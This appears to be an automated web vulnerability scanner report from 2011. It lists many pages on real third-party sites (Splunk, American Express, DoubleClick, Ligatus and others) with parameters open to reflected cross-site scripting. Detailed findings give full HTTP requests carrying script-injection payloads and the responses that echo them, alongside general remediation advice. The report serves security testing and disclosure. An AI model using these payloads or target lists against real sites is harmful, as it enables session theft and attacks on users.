http://www.splunk.com/view/SP-CAAAFVN [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/about-us/SP-CAAAAH8 [REST URL parameter 1]
http://www.splunk.com/view/about-us/SP-CAAAAH8 [REST URL parameter 2]
http://www.splunk.com/view/about-us/SP-CAAAAH8 [REST URL parameter 3]
http://www.splunk.com/view/about-us/SP-CAAAAH8 [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/application-management-solutions/SP-CAAADSC [REST URL parameter 1]
http://www.splunk.com/view/application-management-solutions/SP-CAAADSC [REST URL parameter 2]
http://www.splunk.com/view/application-management-solutions/SP-CAAADSC [REST URL parameter 3]
http://www.splunk.com/view/application-management-solutions/SP-CAAADSC [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/awards/SP-CAAADTE [REST URL parameter 1]
http://www.splunk.com/view/awards/SP-CAAADTE [REST URL parameter 2]
http://www.splunk.com/view/awards/SP-CAAADTE [REST URL parameter 3]
http://www.splunk.com/view/awards/SP-CAAADTE [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/benefits/SP-CAAACCS [REST URL parameter 1]
http://www.splunk.com/view/benefits/SP-CAAACCS [REST URL parameter 2]
http://www.splunk.com/view/benefits/SP-CAAACCS [REST URL parameter 3]
http://www.splunk.com/view/benefits/SP-CAAACCS [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/business-analytics/SP-CAAAFXH [REST URL parameter 1]
http://www.splunk.com/view/business-analytics/SP-CAAAFXH [REST URL parameter 2]
http://www.splunk.com/view/business-analytics/SP-CAAAFXH [REST URL parameter 3]
http://www.splunk.com/view/business-analytics/SP-CAAAFXH [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/careers/SP-CAAAAGG [REST URL parameter 1]
http://www.splunk.com/view/careers/SP-CAAAAGG [REST URL parameter 2]
http://www.splunk.com/view/careers/SP-CAAAAGG [REST URL parameter 3]
http://www.splunk.com/view/careers/SP-CAAAAGG [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/cloud-and-managed-service-providers/SP-CAAACP7 [REST URL parameter 1]
http://www.splunk.com/view/cloud-and-managed-service-providers/SP-CAAACP7 [REST URL parameter 2]
http://www.splunk.com/view/cloud-and-managed-service-providers/SP-CAAACP7 [REST URL parameter 3]
http://www.splunk.com/view/cloud-and-managed-service-providers/SP-CAAACP7 [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/contact-us/SP-CAAAAH7 [REST URL parameter 1]
http://www.splunk.com/view/contact-us/SP-CAAAAH7 [REST URL parameter 2]
http://www.splunk.com/view/contact-us/SP-CAAAAH7 [REST URL parameter 3]
http://www.splunk.com/view/contact-us/SP-CAAAAH7 [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/contact-us/SP-CAAAAH7 [r parameter]
http://www.splunk.com/view/customer-case-studies/SP-CAAABB2 [REST URL parameter 1]
http://www.splunk.com/view/customer-case-studies/SP-CAAABB2 [REST URL parameter 2]
http://www.splunk.com/view/customer-case-studies/SP-CAAABB2 [REST URL parameter 3]
http://www.splunk.com/view/customer-case-studies/SP-CAAABB2 [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/developers/SP-CAAAFR3 [REST URL parameter 1]
http://www.splunk.com/view/developers/SP-CAAAFR3 [REST URL parameter 2]
http://www.splunk.com/view/developers/SP-CAAAFR3 [REST URL parameter 3]
http://www.splunk.com/view/developers/SP-CAAAFR3 [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/education/SP-CAAAAH9 [REST URL parameter 1]
http://www.splunk.com/view/education/SP-CAAAAH9 [REST URL parameter 2]
http://www.splunk.com/view/education/SP-CAAAAH9 [REST URL parameter 3]
http://www.splunk.com/view/education/SP-CAAAAH9 [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/free-vs-enterprise/SP-CAAAE8W [REST URL parameter 1]
http://www.splunk.com/view/free-vs-enterprise/SP-CAAAE8W [REST URL parameter 2]
http://www.splunk.com/view/free-vs-enterprise/SP-CAAAE8W [REST URL parameter 3]
http://www.splunk.com/view/free-vs-enterprise/SP-CAAAE8W [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/government/SP-CAAADSN [REST URL parameter 1]
http://www.splunk.com/view/government/SP-CAAADSN [REST URL parameter 2]
http://www.splunk.com/view/government/SP-CAAADSN [REST URL parameter 3]
http://www.splunk.com/view/government/SP-CAAADSN [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/it-operations-solutions/SP-CAAADSA [REST URL parameter 1]
http://www.splunk.com/view/it-operations-solutions/SP-CAAADSA [REST URL parameter 2]
http://www.splunk.com/view/it-operations-solutions/SP-CAAADSA [REST URL parameter 3]
http://www.splunk.com/view/it-operations-solutions/SP-CAAADSA [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/long-tail/SP-CAAAE7F [REST URL parameter 1]
http://www.splunk.com/view/long-tail/SP-CAAAE7F [REST URL parameter 2]
http://www.splunk.com/view/long-tail/SP-CAAAE7F [REST URL parameter 3]
http://www.splunk.com/view/long-tail/SP-CAAAE7F [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/operational-intelligence/SP-CAAAFVM [REST URL parameter 1]
http://www.splunk.com/view/operational-intelligence/SP-CAAAFVM [REST URL parameter 2]
http://www.splunk.com/view/operational-intelligence/SP-CAAAFVM [REST URL parameter 3]
http://www.splunk.com/view/operational-intelligence/SP-CAAAFVM [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/partner-directory/SP-CAAABCY [REST URL parameter 1]
http://www.splunk.com/view/partner-directory/SP-CAAABCY [REST URL parameter 2]
http://www.splunk.com/view/partner-directory/SP-CAAABCY [REST URL parameter 3]
http://www.splunk.com/view/partner-directory/SP-CAAABCY [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/partner-programs/SP-CAAACED [REST URL parameter 1]
http://www.splunk.com/view/partner-programs/SP-CAAACED [REST URL parameter 2]
http://www.splunk.com/view/partner-programs/SP-CAAACED [REST URL parameter 3]
http://www.splunk.com/view/partner-programs/SP-CAAACED [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/product-tour/SP-CAAAAGV [REST URL parameter 1]
http://www.splunk.com/view/product-tour/SP-CAAAAGV [REST URL parameter 2]
http://www.splunk.com/view/product-tour/SP-CAAAAGV [REST URL parameter 3]
http://www.splunk.com/view/product-tour/SP-CAAAAGV [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/professional-services/SP-CAAABH9 [REST URL parameter 1]
http://www.splunk.com/view/professional-services/SP-CAAABH9 [REST URL parameter 2]
http://www.splunk.com/view/professional-services/SP-CAAABH9 [REST URL parameter 3]
http://www.splunk.com/view/professional-services/SP-CAAABH9 [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/resources/SP-CAAACGF [REST URL parameter 1]
http://www.splunk.com/view/resources/SP-CAAACGF [REST URL parameter 2]
http://www.splunk.com/view/resources/SP-CAAACGF [REST URL parameter 3]
http://www.splunk.com/view/resources/SP-CAAACGF [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/security-and-compliance-solutions/SP-CAAADSB [REST URL parameter 1]
http://www.splunk.com/view/security-and-compliance-solutions/SP-CAAADSB [REST URL parameter 2]
http://www.splunk.com/view/security-and-compliance-solutions/SP-CAAADSB [REST URL parameter 3]
http://www.splunk.com/view/security-and-compliance-solutions/SP-CAAADSB [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/services/SP-CAAAFQJ [REST URL parameter 1]
http://www.splunk.com/view/services/SP-CAAAFQJ [REST URL parameter 2]
http://www.splunk.com/view/services/SP-CAAAFQJ [REST URL parameter 3]
http://www.splunk.com/view/services/SP-CAAAFQJ [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/splunk-at-whitepages/SP-CAAAFUY [REST URL parameter 1]
http://www.splunk.com/view/splunk-at-whitepages/SP-CAAAFUY [REST URL parameter 2]
http://www.splunk.com/view/splunk-at-whitepages/SP-CAAAFUY [REST URL parameter 3]
http://www.splunk.com/view/splunk-at-whitepages/SP-CAAAFUY [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/support-documents/SP-CAAAAD4 [REST URL parameter 1]
http://www.splunk.com/view/support-documents/SP-CAAAAD4 [REST URL parameter 2]
http://www.splunk.com/view/support-documents/SP-CAAAAD4 [REST URL parameter 3]
http://www.splunk.com/view/support-documents/SP-CAAAAD4 [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/support-programs/SP-CAAACC8 [REST URL parameter 1]
http://www.splunk.com/view/support-programs/SP-CAAACC8 [REST URL parameter 2]
http://www.splunk.com/view/support-programs/SP-CAAACC8 [REST URL parameter 3]
http://www.splunk.com/view/support-programs/SP-CAAACC8 [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/support/SP-CAAAAFV [REST URL parameter 1]
http://www.splunk.com/view/support/SP-CAAAAFV [REST URL parameter 2]
http://www.splunk.com/view/support/SP-CAAAAFV [REST URL parameter 3]
http://www.splunk.com/view/support/SP-CAAAAFV [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/what-is-it-data/SP-CAAACDC [REST URL parameter 1]
http://www.splunk.com/view/what-is-it-data/SP-CAAACDC [REST URL parameter 2]
http://www.splunk.com/view/what-is-it-data/SP-CAAACDC [REST URL parameter 3]
http://www.splunk.com/view/what-is-it-data/SP-CAAACDC [name of an arbitrarily supplied request parameter]
http://www.splunk.com/view/whats-new/SP-CAAAFD2 [REST URL parameter 1]
http://www.splunk.com/view/whats-new/SP-CAAAFD2 [REST URL parameter 2]
http://www.splunk.com/view/whats-new/SP-CAAAFD2 [REST URL parameter 3]
http://www.splunk.com/view/whats-new/SP-CAAAFD2 [name of an arbitrarily supplied request parameter]
http://www.splunk.com/wiki [REST URL parameter 1]
http://www.splunk.com/wiki [REST URL parameter 1]
http://www.splunk.com/wiki [name of an arbitrarily supplied request parameter]
http://www.splunk.com/wiki/ [REST URL parameter 1]
http://www.splunk.com/wiki/ [REST URL parameter 1]
http://www.splunk.com/wiki/ [name of an arbitrarily supplied request parameter]
http://www.vibrantmedia.com/whatisIntelliTXT.asp [ipid parameter]
http://www.yasni.de/ [name of an arbitrarily supplied request parameter]
http://www201.americanexpress.com/business-credit-cards/ [name of an arbitrarily supplied request parameter]
http://www201.americanexpress.com/business-credit-cards/business-credit-cards [name of an arbitrarily supplied request parameter]
http://www201.americanexpress.com/business-credit-cards/business-credit-cards [name of an arbitrarily supplied request parameter]
http://www201.americanexpress.com/business-credit-cards/business-credit-cards [source parameter]
http://www201.americanexpress.com/business-credit-cards/business-credit-cards [source parameter]
http://www201.americanexpress.com/getthecard/home [sj_tabToOpen parameter]
http://zh-hans.splunk.com/ [name of an arbitrarily supplied request parameter]
http://zh-hans.splunk.com/cave/narc.php [REST URL parameter 1]
http://zh-hans.splunk.com/cave/narc.php [REST URL parameter 2]
http://zh-hans.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 1]
http://zh-hans.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 2]
http://zh-hans.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 3]
http://zh-hans.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 4]
http://zh-hant.splunk.com/ [name of an arbitrarily supplied request parameter]
http://zh-hant.splunk.com/cave/narc.php [REST URL parameter 1]
http://zh-hant.splunk.com/cave/narc.php [REST URL parameter 2]
http://zh-hant.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 1]
http://zh-hant.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 2]
http://zh-hant.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 3]
http://zh-hant.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 4]
http://appdeveloper.intel.com/en-us/challenge [Referer HTTP header]
http://appdeveloper.intel.com/en-us/join [Referer HTTP header]
http://www.addthis.com/bookmark.php [Referer HTTP header]
http://www.addthis.com/bookmark.php [Referer HTTP header]
http://www.arto.com/ [User-Agent HTTP header]
http://www.au2m8.com/v/ [Referer HTTP header]
http://www.au2m8.com/v/index.php [Referer HTTP header]
http://www.baselinemag.com/ [Referer HTTP header]
http://www.baselinemag.com/blank.gif [Referer HTTP header]
http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/ [Referer HTTP header]
http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/&hl=en&client=ca-pub-6422417422167576&adU=www.RiminiStreet.com&adT=ImageAd&gl=US&usg=AFQjCNH5RnMJStR1tz53GbCMllXhLJ0M_g/ [Referer HTTP header]
http://www.baselinemag.com/googlecse.html [Referer HTTP header]
http://www.baselinemag.com/images/marketplace-hdr-bg.gif [Referer HTTP header]
http://www.baselinemag.com/images/marketplace-hdr.gif [Referer HTTP header]
http://www.baselinemag.com/spacer.gif [Referer HTTP header]
http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/Smarter-Enterprise-and-NextGeneration-Web-Services/ [Referer HTTP header]
http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-Jan-20-2010/ [Referer HTTP header]
http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-Jan-20-2010/ [Referer HTTP header]
http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-July-24-2009/ [Referer HTTP header]
http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-July-24-2009/ [Referer HTTP header]
http://www.eweek.com/c/a/Windows/5-Reasons-Companies-Arent-Skipping-Vista/ [Referer HTTP header]
http://www.eweek.com/c/a/Windows/5-Reasons-Companies-Arent-Skipping-Vista/ [Referer HTTP header]
http://www.eweek.com/c/a/Windows/Ensuring-Smooth-Upgrade-Path-with-Windows-Vista/ [Referer HTTP header]
http://www.eweek.com/c/a/Windows/Ensuring-Smooth-Upgrade-Path-with-Windows-Vista/ [Referer HTTP header]
http://www.eweek.com/c/a/Windows/How-to-Accurately-Plan-for-Windows-Server-2008-Hardware/ [Referer HTTP header]
http://www.eweek.com/c/a/Windows/How-to-Accurately-Plan-for-Windows-Server-2008-Hardware/ [Referer HTTP header]
http://www.eweek.com/c/s/Videos/ [Referer HTTP header]
http://www.eweek.com/c/s/Videos/ [Referer HTTP header]
http://www.kledy.de/modules/buttons/buttons.php [Referer HTTP header]
http://www.protopage.com/ [Referer HTTP header]
http://www.salesforce.com/servlet/servlet.WebToLead [Referer HTTP header]
https://www.salesforce.com/servlet/servlet.WebToLead [Referer HTTP header]
https://www.slackinc.com/subscribe/newsubs/atshcstep1.asp [Referer HTTP header]
https://www.slackinc.com/subscribe/newsubs/otistep1.asp [Referer HTTP header]
http://www.splunk.com/index.php/sso_checker [Referer HTTP header]
http://ar.voicefive.com/bmx3/broker.pli [UID cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p45555483 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p67161473 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p68511049 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p83612734 cookie]
http://ar.voicefive.com/bmx3/broker.pli [ar_p85001580 cookie]
http://c03.adsummos.net/a/e/r21719 [adsud cookie]
http://www.download32.com/go/55498/http:/resolve.iscool.net/ [REST URL parameter 2]
http://www.download32.com/go/55498/http:/resolve.iscool.net/ [REST URL parameter 3]
http://www.rackspace.com/apps/email_hosting/exchange_hosting/ [IS_UASrackuid cookie]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

4.1. http://a.ligatus.com/timeout.php [ids parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.ligatus.com
Path:	/timeout.php

Issue detail

The value of the ids request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8918"><script>alert(1)</script>cc16b0d36e8 was submitted in the ids parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /timeout.php?ids=9470d8918"><script>alert(1)</script>cc16b0d36e8 HTTP/1.1
Host: a.ligatus.com
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:44:28 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html
Accept-Ranges: bytes
Cache-Control: private, max-age=600
Age: 0
Expires: Sun, 06 Feb 2011 17:54:28 GMT
Connection: Keep-Alive
Content-Length: 116

<script src="http://e.ligatus.com/LigatusFallback.gif?ids=9470d8918"><script>alert(1)</script>cc16b0d36e8"></script>

4.2. http://a.ligatus.com/timeout.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.ligatus.com
Path:	/timeout.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b3a4"><script>alert(1)</script>eb71085dfca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /timeout.php?ids=/3b3a4"><script>alert(1)</script>eb71085dfca9470 HTTP/1.1
Host: a.ligatus.com
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:45:05 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html
Accept-Ranges: bytes
Cache-Control: private, max-age=600
Age: 0
Expires: Sun, 06 Feb 2011 17:55:05 GMT
Connection: Keep-Alive
Content-Length: 117

<script src="http://e.ligatus.com/LigatusFallback.gif?ids=/3b3a4"><script>alert(1)</script>eb71085dfca9470"></script>

4.3. http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [adurl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adj/N1120.Mittelstandswiki/B5089496

Issue detail

The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6a0e"-alert(1)-"872292d8e2e was submitted in the adurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N1120.Mittelstandswiki/B5089496;sz=336x280;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=f6a0e"-alert(1)-"872292d8e2e HTTP/1.1
Host: ad-emea.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 7905
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 06 Feb 2011 17:47:22 GMT
Expires: Sun, 06 Feb 2011 17:47:22 GMT

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
nQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=f6a0e"-alert(1)-"872292d8e2ehttp://www.ibm.com/innovation/de/systemx/intel?cmp=100K3&ct=100K303A&cr=Mittelstandswiki_Rotation&cm=B&csr=neiotde_mm_intel-q12011&ccy=DE&cd=2011-01-06&cn=q1_mm_off_systemxintel_fla_336x280_de&csz=336x
...[SNIP]...

4.4. http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [adurl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adj/N1120.Mittelstandswiki/B5089496

Issue detail

The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7a2e8'-alert(1)-'f747d321270 was submitted in the adurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N1120.Mittelstandswiki/B5089496;sz=336x280;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=7a2e8'-alert(1)-'f747d321270 HTTP/1.1
Host: ad-emea.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 7905
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 06 Feb 2011 17:47:28 GMT
Expires: Sun, 06 Feb 2011 17:47:28 GMT

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
nQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=7a2e8'-alert(1)-'f747d321270http://www.ibm.com/innovation/de/systemx/intel?cmp=100K3&ct=100K303A&cr=Mittelstandswiki_Rotation&cm=B&csr=neiotde_mm_intel-q12011&ccy=DE&cd=2011-01-06&cn=q1_mm_off_systemxintel_fla_336x280_de&csz=336x
...[SNIP]...

4.5. http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [ai parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adj/N1120.Mittelstandswiki/B5089496

Issue detail

The value of the ai request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 73258'-alert(1)-'86e7173ff52 was submitted in the ai parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N1120.Mittelstandswiki/B5089496;sz=336x280;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE73258'-alert(1)-'86e7173ff52&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=;ord=57634238? HTTP/1.1
Host: ad-emea.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 17:45:11 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 8043

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
